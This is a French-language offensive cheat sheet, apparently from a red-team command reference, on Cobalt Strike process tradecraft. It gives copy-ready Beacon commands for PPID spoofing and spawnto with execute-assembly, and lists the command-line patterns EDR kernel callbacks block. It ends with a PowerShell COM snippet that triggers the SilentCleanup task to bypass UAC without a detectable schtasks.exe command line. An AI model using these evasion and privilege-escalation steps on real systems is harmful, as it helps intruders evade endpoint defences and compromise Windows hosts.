Cobalt Strike

Process OPSEC

PPID spoofing, spawnto et bypass des détections kernel sur les lignes de commande.

Process blending

Copy command
# Trouver un PID cible
ps

# Configurer parent + processus sacrificiel
ppid 4512
spawnto x64 %windir%\sysnative\notepad.exe

# Fork & run - le processus apparaît sous explorer.exe
execute-assembly Seatbelt.exe -group=system

# Reset
ppid
spawnto x64

Description: ppid : les processus spawned apparaissent comme enfants du PID cible plutôt que du processus hôte de Beacon. spawnto : contrôle le processus sacrificiel pour les commandes fork&run (execute-assembly, powerpick...). Combiner les deux : le process sacrificiel devient enfant du parent spoofé. La cohérence (canal C2, hôte, parent, spawnto) est l'objectif - pas de config universelle.

Détections et bypass

Copy command
PsSetCreateProcessNotifyRoutineEx → CommandLine → STATUS_ACCESS_DENIED

Description: Les drivers EDR enregistrent un callback à chaque création de processus. Si la ligne de commande matche un pattern signé, le driver met CreationStatus à STATUS_ACCESS_DENIED. Non désactivable sans exécution kernel. Patterns CS observables : shell → cmd.exe /C <cmd>, run → <cmd>, powershell → powershell -nop -exec bypass -EncodedCommand <b64>, fork&run → <spawnto>.

Copy command
cmd.exe /c echo <token> > \\.\pipe\<id>   (pth / CreateProcessWithLogonW)

Description: La commande pth utilise CreateProcessWithLogonW pour echo un token dans un named pipe - pattern signé par Defender.

Copy command
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Description: L'exploit uac-schtasks invoque schtasks.exe avec SilentCleanup - pattern signé. Résultat : STATUS_ACCESS_DENIED sur Start-Process.

Copy command
# Trigger SilentCleanup via COM - aucune ligne de commande schtasks.exe
$sched = New-Object -ComObject Schedule.Service
$sched.Connect()
$task = $sched.GetFolder("\Microsoft\Windows\DiskCleanup").GetTask("SilentCleanup")
$task.Run($null)

Description: Si un binaire est signé sur sa ligne de commande, trouver un COM object ou une API native qui produit le même effet sans l'invoquer. Schedule.Service trigger SilentCleanup sans passer par schtasks.exe - aucune ligne de commande observable par le callback.